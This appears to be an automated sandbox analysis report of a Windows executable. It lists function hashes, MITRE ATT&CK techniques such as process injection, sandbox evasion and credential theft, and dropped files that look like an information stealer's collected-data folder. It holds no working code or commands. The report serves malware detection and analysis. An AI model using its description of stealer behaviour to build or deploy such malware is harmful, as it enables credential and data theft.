Opcode Fuzzy Hash: a1b98c3a53192eb9da4d91532c909887304a2a41a87a78736178354f5a376207
Instruction Fuzzy Hash: 03D0958580E3D21EC70B9B788C303103F200E03118B8A40EB80C08E0A3C408899ADBA3

Uniqueness

Uniqueness Score: -1.00%

Function 05111234 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.459677720.0000000005110000.00000040.00000800.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5110000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbcf7609f3681f62c90de4b3f485fce42d5987d3b3e486494777b0a4554b9c6e
Instruction ID: 119dd4bad61b24e3b39ec8d68cb4968b7260e634083a7c871ae845866cce1128
Opcode Fuzzy Hash: dbcf7609f3681f62c90de4b3f485fce42d5987d3b3e486494777b0a4554b9c6e
Instruction Fuzzy Hash: 80D0922144E3D68FD7975BB46C282447F746F07110B4A80DBD0C9CA8A3D29C0846D763

Uniqueness

Uniqueness Score: -1.00%

Function 05522A14 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.460167149.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1c857eb29be410cd96fe8f7fef5aa4f4ae9c3fbb542692f2a8ca2fa6f69f79
Instruction ID: 720dbb53af5f3944f9d24c0f8d0b1e6ee79ae2e71715ddc5a5b65298fee799fa
Opcode Fuzzy Hash: 3e1c857eb29be410cd96fe8f7fef5aa4f4ae9c3fbb542692f2a8ca2fa6f69f79
Instruction Fuzzy Hash: 30D012B0901661BB9B0CDF1B4454432B9F5FFC57043B0CCAE900889211D73ACA03CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0511027A Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.459677720.0000000005110000.00000040.00000800.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5110000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f20c110d1ac6d316b7993afa5ab7e89c25bf9549219a105af5f459a401c6b761
Instruction ID: c36bd9b6a1dee759d2489000f559b8283aeac8ff6ec424768670f27261ca9002
Opcode Fuzzy Hash: f20c110d1ac6d316b7993afa5ab7e89c25bf9549219a105af5f459a401c6b761
Instruction Fuzzy Hash: 66D012BB4193C09FD3168B30CC117543E70AF63109F4A41E6A1C0C5193D929C54186A5

Uniqueness

Uniqueness Score: -1.00%

Function 055236C8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.460167149.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3428de397e68ee238fd9090e0346342a1f78d4d8cc15dc5fb36ee1bb49af15c0
Instruction ID: 6d45916d144c54b90f56a14c3d1722d891c5ab64cf0d78fcad006b2088c9d1e0
Opcode Fuzzy Hash: 3428de397e68ee238fd9090e0346342a1f78d4d8cc15dc5fb36ee1bb49af15c0
Instruction Fuzzy Hash: 94D0C92891E3F12BF71BD731088C445BF116C4B5287AE57CEC0D4AAADBD01AB40B9391

Uniqueness

Uniqueness Score: -1.00%

Function 051110D8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.459677720.0000000005110000.00000040.00000800.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5110000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b9f276b55a8bb01f807fa60c0a8c151fbf71173e278efa03d285e3a12d34b4
Instruction ID: c7f8981cd5e7839163fa24f3e09f0f5a0a2f0d5f525c0cbd9da2245f145751dc
Opcode Fuzzy Hash: f2b9f276b55a8bb01f807fa60c0a8c151fbf71173e278efa03d285e3a12d34b4
Instruction Fuzzy Hash: 54C04C35140108EFCB419F55E844C857F69FF197607518051F9444B631C772E920DB51

Uniqueness

Uniqueness Score: -1.00%

Function 051102E8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.459677720.0000000005110000.00000040.00000800.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5110000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9360f6c3753071abd6b5a8e86689413885372535260cb3c19a445abdef9116e5
Instruction ID: 740b9759760942d22b17a3cca9430a66c5404184698edbd653c299f37843b55b
Opcode Fuzzy Hash: 9360f6c3753071abd6b5a8e86689413885372535260cb3c19a445abdef9116e5
Instruction Fuzzy Hash: ECC04C39140108EFCB419F55D844C45BBA9FF19770741C051F9494B632C732E960DB50

Uniqueness

Uniqueness Score: -1.00%

Function 05525221 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.460167149.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40548f2892ba096d8ecf3e5c6273a36a85c66498baeb0ef48d4cecc968dabe9
Instruction ID: be891b5cff606e7bcdc9dae1d74af971d6242f2e3d42cfe50db8947570121331
Opcode Fuzzy Hash: c40548f2892ba096d8ecf3e5c6273a36a85c66498baeb0ef48d4cecc968dabe9
Instruction Fuzzy Hash: 5DB09B15D4D18045D707767497105521E678B53211F0545DE804D99593DC05C85D5732

Uniqueness

Uniqueness Score: -1.00%

Function 05525230 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.460167149.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90033f6401357461030092f12fdc981a3a7089a6a640d011bbe48affff52a1aa
Instruction ID: 45d41e09c9111aa1ce5f673baf5ca15260894a398e0a4937ca5b0b03eb2815f3
Opcode Fuzzy Hash: 90033f6401357461030092f12fdc981a3a7089a6a640d011bbe48affff52a1aa
Instruction Fuzzy Hash: 1FA00211A9430C42D50531D9A6116667BCF4B85B14E405165560D16A932C46BDA158BB

Uniqueness

Uniqueness Score: -1.00%

Function 0511031B Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.459677720.0000000005110000.00000040.00000800.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5110000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e5667c393349c172c57dc77d14135388084283a6dbeb1e2b21c8c5f23bf2980
Instruction ID: 97e211d7af35affc44d02a09cbfdca893f7f5b2912e2d55d5808051aa9afeba2
Opcode Fuzzy Hash: 5e5667c393349c172c57dc77d14135388084283a6dbeb1e2b21c8c5f23bf2980
Instruction Fuzzy Hash: A6A01238001740C4C7311E30880020635605F03A06F84099D80C104440813DA048CA81

Uniqueness

Uniqueness Score: -1.00%

Function 05111250 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.459677720.0000000005110000.00000040.00000800.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5110000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e02e2a2159bb16f2cd6a0e2d0cf13fd21382516dfaf328ee05a5cf33f5dffc28
Instruction ID: 79673129d9d0e8bf1ab4a0958ed3f64528267c73f8838fcf0a7c4f1a45cf9a93
Opcode Fuzzy Hash: e02e2a2159bb16f2cd6a0e2d0cf13fd21382516dfaf328ee05a5cf33f5dffc28
Instruction Fuzzy Hash: 5E90223000020CCB808023803008A08B38C8200200B800002B00C008020A28200002A8

Uniqueness

Uniqueness Score: -1.00%

Function 05523C2B Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.460167149.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e98c8d4726e77525de184efd3bdd7eff0cb42667856c635eff5447cac080f90
Instruction ID: 349da8d0833103c50c311177573bd21908ce71af357c3d9137bb36e0787985e0
Opcode Fuzzy Hash: 5e98c8d4726e77525de184efd3bdd7eff0cb42667856c635eff5447cac080f90
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 05111452 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.459677720.0000000005110000.00000040.00000800.00020000.00000000.sdmp, Offset: 05110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5110000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 613854f4f1fc72e0d651c8afeff4c2bb02325e15a91aa255bd715282f10a2f1f
Instruction ID: 87dd089a8b142a8f7cadb5aeeaee28593acebdf2f5d03bfaf642b3db9393b912
Opcode Fuzzy Hash: 613854f4f1fc72e0d651c8afeff4c2bb02325e15a91aa255bd715282f10a2f1f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

C:\Users\user\AppData\Local\Temp\tmp7C29.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp7E4D.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp7F48.tmp.dat

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2.zip

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Information.txt

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Processes.txt

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Screenshot.jpg

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Software.txt

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Windows.txt

C:\Users\user\AppData\Local\analworker\msgid.dat

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Windows Analysis Report
file.exe

Function 001A2660 Relevance: 51.0, APIs: 14, Strings: 15, Instructions: 284
nativethreadmemoryCOMMON

Function 001AA1E7 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Function 001BF51B Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Function 001B3E39 Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Function 001B88D1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 001A7B14 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34
COMMON

Function 001A7A7F Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Function 001BF0F3 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Function 001A1990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMONLIBRARYCODE

Function 001B3DC5 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 001BAA00 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Function 001BA602 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 001B7BCB Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 001A71DC Relevance: 1.6, APIs: 1, Instructions: 107
COMMON

Function 001B899C Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Function 001B6392 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 001B6429 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Function 001A8284 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Function 001A884F Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Function 001A7BA9 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Function 001B59C8 Relevance: 1.5, APIs: 1, Instructions: 20
COMMONLIBRARYCODE

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre